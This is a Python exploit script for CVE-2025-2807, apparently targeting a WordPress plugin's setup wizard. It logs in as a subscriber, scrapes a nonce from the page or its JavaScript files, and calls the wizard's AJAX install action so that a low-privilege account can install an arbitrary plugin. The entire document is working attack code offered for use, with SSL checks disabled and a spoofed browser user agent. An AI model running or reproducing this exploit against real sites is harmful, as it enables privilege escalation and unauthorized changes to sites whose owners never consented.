import requests import argparse import re from bs4 import BeautifulSoup from urllib.parse import urljoin #Exploit By : Nxploited | Khaled Alenazi, def disable_ssl_verification(): requests.packages.urllib3.disable_warnings() def create_argument_parser(): parser = argparse.ArgumentParser( description="Exploit For CVE-2025-2807 By: Nxploited | Khaled Alenazi" ) parser.add_argument('-u', '--url', required=True, help='Base URL of WordPress site') parser.add_argument('-un', '--username', required=True, help='Subscriber username') parser.add_argument('-p', '--password', required=True, help='Subscriber password') parser.add_argument('-pn', '--plugin', default='contact-form-7', help='Plugin to install (default: contact-form-7)') return parser.parse_args() def create_session(): session = requests.Session() session.verify = False return session def get_headers(): return { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" } def login(session, url, username, password, headers): print("[*] Logging in...") login_url = url + '/wp-login.php' login_data = { 'log': username, 'pwd': password, 'rememberme': 'forever', 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data, headers=headers) if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): print("[+] Logged in successfully.") else: print("[-] Failed to log in.") exit() def fetch_setup_page(session, url, headers): print("[*] Fetching setup wizard page...") wizard_url = url + '/wp-admin/admin.php?page=mvl-welcome-setup' return session.get(wizard_url, headers=headers) def extract_nonce_from_html(text): patterns = [ r'"stm_mvl_setup_wizard_nonce"\s*:\s*"([a-zA-Z0-9]+)"', r'ajax_nonce"\s*:\s*"([a-zA-Z0-9]+)"', r'["\']security["\']\s*:\s*["\']([a-zA-Z0-9]+)["\']' ] for pattern in patterns: match = re.search(pattern, text) if match: print(f"[+] Found nonce in HTML: {match.group(1)}") return match.group(1) return None def extract_nonce_from_js(session, url, soup, headers): print("[*] Searching for nonce in JS files...") patterns = [ r'"stm_mvl_setup_wizard_nonce"\s*:\s*"([a-zA-Z0-9]+)"', r'ajax_nonce"\s*:\s*"([a-zA-Z0-9]+)"', r'["\']security["\']\s*:\s*["\']([a-zA-Z0-9]+)["\']' ] scripts = soup.find_all('script', src=True) for script in scripts: js_url = urljoin(url, script['src']) try: js_res = session.get(js_url, headers=headers) for pattern in patterns: js_match = re.search(pattern, js_res.text) if js_match: print(f"[+] Found nonce in JS file ({script['src']}): {js_match.group(1)}") return js_match.group(1) except: continue return None def exploit_plugin_install(session, url, headers, nonce, plugin_name): print(f"[*] Attempting to install plugin: {plugin_name}") ajax_url = url + '/wp-admin/admin-ajax.php' data = { 'action': 'mvl_setup_wizard_install_plugin', 'security': nonce, 'plugin': plugin_name } response = session.post(ajax_url, data=data, headers=headers) if 'success' in response.text: print("[+] Plugin installation request sent successfully!") print("[+] Response:", response.text) else: print("[-] Exploit request failed.") print("[-] Response:", response.text) def main(): disable_ssl_verification() args = create_argument_parser() session = create_session() headers = get_headers() login(session, args.url, args.username, args.password, headers) res = fetch_setup_page(session, args.url, headers) soup = BeautifulSoup(res.text, 'html.parser') nonce = extract_nonce_from_html(res.text) if not nonce: nonce = extract_nonce_from_js(session, args.url, soup, headers) if not nonce: print("[-] Failed to retrieve nonce from HTML or JS.") exit() exploit_plugin_install(session, args.url, headers, nonce, args.plugin) if __name__ == "__main__": main()